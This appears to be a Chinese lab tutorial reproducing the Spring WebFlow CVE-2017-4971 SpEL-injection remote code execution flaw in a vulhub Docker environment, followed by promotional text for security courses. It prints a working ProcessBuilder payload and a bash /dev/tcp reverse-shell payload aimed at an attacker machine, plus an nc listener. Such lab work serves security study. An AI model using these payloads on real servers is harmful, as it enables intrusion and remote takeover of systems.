小白_程序员速看!Spring WebFlow CVE-2017-4971远程代码执行漏洞复现
小白/程序员速看!Spring WebFlow CVE-2017-4971远程代码执行漏洞复现
本文围绕Spring WebFlow CVE-2017-4971远程代码执行漏洞展开,讲解其原理、实验环境搭建与完整复现步骤,涵盖靶机启动、抓包修改POC执行命令、反弹shell等实操内容,帮助网安小白及程序员掌握该漏洞利用方法,加深对Spring框架安全的认知。
免责声明:严格禁止对任何未授权系统/网络进行扫描、攻击或入侵。 禁止制作/传播恶意程序,禁止参与任何网络犯罪。如擅自将本文实验技术用于非法用途,一切法律后果及责任由行为人独立承担,与作者无关。
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
实验目的
通过本实验,掌握Spring WebFlow 远程代码执行漏洞原理和利用方法,加深了解Spring WebFlow框架。
实验环境
·操作机:Win10
用户名:Administrator
密码:Sangfor!7890
·操作机:kali
用户名:root
密码:Sangfor!7890
·靶机:Ubuntu + docker
用户名:root
密码:Sangfor!7890
·实验地址:http://ip:8080/login
实验原理
由于Spring的框架越来越多,而且后面引入了SpringEl作为默认的表达式解析方式,所以一旦引入了类似于OGNL的表达式,很可能会带来一些安全问题。本次漏洞就是由于Spring WebFlow是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
漏洞介绍
该漏洞在2017年5月31号被提交到https://pivotal.io/security/cve-2017-4971平台,官方并没有详细的信息,通过官方描述和补丁的对比,我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。
实验步骤
第一步启动目标靶机的环境
1、登录"Spring WebFlow"靶机,执行如下命令,进入目标环境所在目录
cd /vulhub-master
cd spring
cd CVE-2017-4971

2、执行以下命令,运行目标靶机的环境
docker-compose up -d

3、登录“Attack”操作机,打开浏览器,访问http://靶机ip:8080,看到酒店预订页面,说明靶机环境启动成功

第二步漏洞复现
4、通过“Attack”操作机的浏览器访问http://靶机ip:8080,看到登录页面

5、用页面左边给出的任意一个账号/密码登录网站


6、访问id为1的酒店http://靶机ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步WebFlow就正式开始了)



7、打开桌面的的“Burp”文件夹,双击“BURP.cmd”启动Burp Suite抓包工具

8、切换到“Proxy”代理模块的“Options”,查看Bp的代理

9、切换到浏览器,选择火狐插件中的代理(配置浏览器的的代理),与Bp的代理一致

10、点击确认“Confirm”按钮,确认酒店预订信息,Bp成功抓取数据包,然后将数据包send to repeater


11、修改数据包,加入要执行的代码,然后发送数据包,会返回500的状态码(注意:一定要URL编码,即new+java.lang.ProcessBuilder)
创建文件POC
_(new java.lang.ProcessBuilder(“touch”,“/tmp/success”)).start()=sy

验证文件是否创建成功
12、进入靶机服务器,在docker靶机里可以看到已经在/tmp目录下成功创建了success文件(注意:是进入docker里)
,执行如下命令
docker ps 查看靶机环境对应的docker容器ID
docker exec -it 容器ID bash 进入docker环境
cd /tmp 进入tmp目录
ls 查看文件

反弹shell
13、首先在kali输入以下命令来监听端口
nc -l -p 21

14、修改数据包,输入POC【_(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i >& /dev/tcp/【kali攻击机ip】/21 0>&1”)).start()=sy】反弹shell


15、获得shell,可以执行系统命令

实验总结
通过本实验,对Spring WebFlow框架进行远程代码执行,成功向服务器写入文件,并执行相关命令反弹shell,深入了解远程代码执行漏洞的危害。
学习资源
2026年最新版本,全网最全的网安视频教程。耗时半年打造,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。
总共200多节视频,200多G的资源,不用担心学不全。(包含攻击与防守、漏洞挖掘、CTF比赛等技术点)

1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传,戳下面拿:
更多推荐



所有评论(0)